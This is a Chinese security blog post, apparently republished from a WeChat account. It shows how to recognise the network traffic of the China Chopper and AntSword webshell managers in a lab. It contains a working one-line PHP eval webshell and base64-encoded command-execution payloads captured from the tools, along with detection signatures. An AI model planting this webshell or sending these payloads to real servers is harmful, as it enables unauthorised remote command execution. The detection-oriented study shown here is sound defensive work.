各种webshell管理器的特征(一)

admin 2023年6月13日15:08:58评论22 views字数 3753阅读12分30秒阅读模式

声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

滑至文末,可获取“webshell合集”下载链接!














01

环境搭建

这里我们使用upload-libs靶场进行文件上传

https://github.com/c0ny1/upload-labs

下载好,直接启用脚本modify_path,然后打开phpstudy点击启动即可!

各种webshell管理器的特征(一)

这里我们以第一关为例 它的要求是上传jpg格式

各种webshell管理器的特征(一)

wireshark流量捕获命令

ip.dst == 192.168.112.136 && tcp.port == 80


02


中国菜刀

准备一句话木马,保存成111.jpg格式上传

<?php eval($_POST['a']); ?>

这里我们上传好了

各种webshell管理器的特征(一)

用菜刀连接

各种webshell管理器的特征(一)

连接成功后

各种webshell管理器的特征(一)

wireshark查看流量

第一个特征

请求体中存在  "ass","ert"

各种webshell管理器的特征(一)

第二个特征

User-Agent中的百度(有可能是火狐)

各种webshell管理器的特征(一)

第三个特征

请求体中存在固定字符串 ,并且是base64加密

各种webshell管理器的特征(一)

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

把该字符串进行base64解码得到

各种webshell管理器的特征(一)

接下来我们尝试输入dir命令

各种webshell管理器的特征(一)

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nY21kJzskcz0nY2QgL2QgQzpcXFVzZXJzXFxBZG1pbmlzdHJhdG9yXFxEZXNrdG9wXFx1cGxvYWQtbGFicy1lbnZcXFdXV1xcdXBsb2FkXFwmZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0VdJzskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7JGFycmF5PWFycmF5KGFycmF5KCJwaXBlIiwiciIpLGFycmF5KCJwaXBlIiwidyIpLGFycmF5KCJwaXBlIiwidyIpKTskZnA9cHJvY19vcGVuKCRyLiIgMj4mMSIsJGFycmF5LCRwaXBlcyk7JHJldD1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7cHJvY19jbG9zZSgkZnApO3ByaW50ICRyZXQ7O2VjaG8oIlhAWSIpO2RpZSgpOw%3D%3D

把上述字符串进行base64解码

各种webshell管理器的特征(一)


03


蚁剑

直接连接刚才的一句话木马即可

各种webshell管理器的特征(一)

第一个特征

请求中的User-Agent值是

Mozilla/5.0 (Windows NT ***)

各种webshell管理器的特征(一)

第二个特征

请求中检测关键字 eval

各种webshell管理器的特征(一)

第三个特征

base64加密

对下面的字符串进行解密

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLjQwZmExIjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiNzdiYzEiLiJiMjY4ZTUiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjU0Ii4iYzY3Ijt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs%3D

各种webshell管理器的特征(一)

各种webshell管理器的特征(一)

可以看到@ini_set("display_errors", "0");@set_time_limit(0);dirname等字段

蚁剑如果选择char加密的话,得到的流量如下图所示

各种webshell管理器的特征(一)

比较明显的是%40eVAL

解密脚本

# 定义要解码的字符串encoded_str = 'cHr(64).ChR(105).ChR(110)'# 使用正则表达式提取数字部分import renums = re.findall(r'd+', encoded_str)# 将数字转换为ASCII码,并使用join()函数连接成字符串decoded_str = ''.join([chr(int(num)) for num in nums])# 输出解码结果print(decoded_str)

我这里运行脚本得到

各种webshell管理器的特征(一)

@ini_set("display_errors", "0");@set_time_limit(0);  

这段字符串还是很明显的

蚁剑如果选择rot13加密的话,得到的流量如下图所示

各种webshell管理器的特征(一)

url解码后得到

特征还是很明显的 eval(@str_rot13

各种webshell管理器的特征(一)




各种webshell管理器的特征(一)
点击上方公众号
各种webshell管理器的特征(一)
关注我们
各种webshell管理器的特征(一)









往期精彩

shiro反序列漏洞中JRMPClient利用

靶机实战系列之Hacker_Kid-v1.0.1靶机

CS和MSF的联动




1、公众号后台回复:搜索大法,获取searchall工具下载链接。

2、公众号后台回复:靶场,获取靶场工具网盘下载链接。

3、公众号后台回复:webshell,获取webshell载链接。

原文始发于微信公众号(嗨嗨安全):各种webshell管理器的特征(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月13日15:08:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   各种webshell管理器的特征(一)http://cn-sec.com/archives/1802843.html

发表评论

匿名网友 填写信息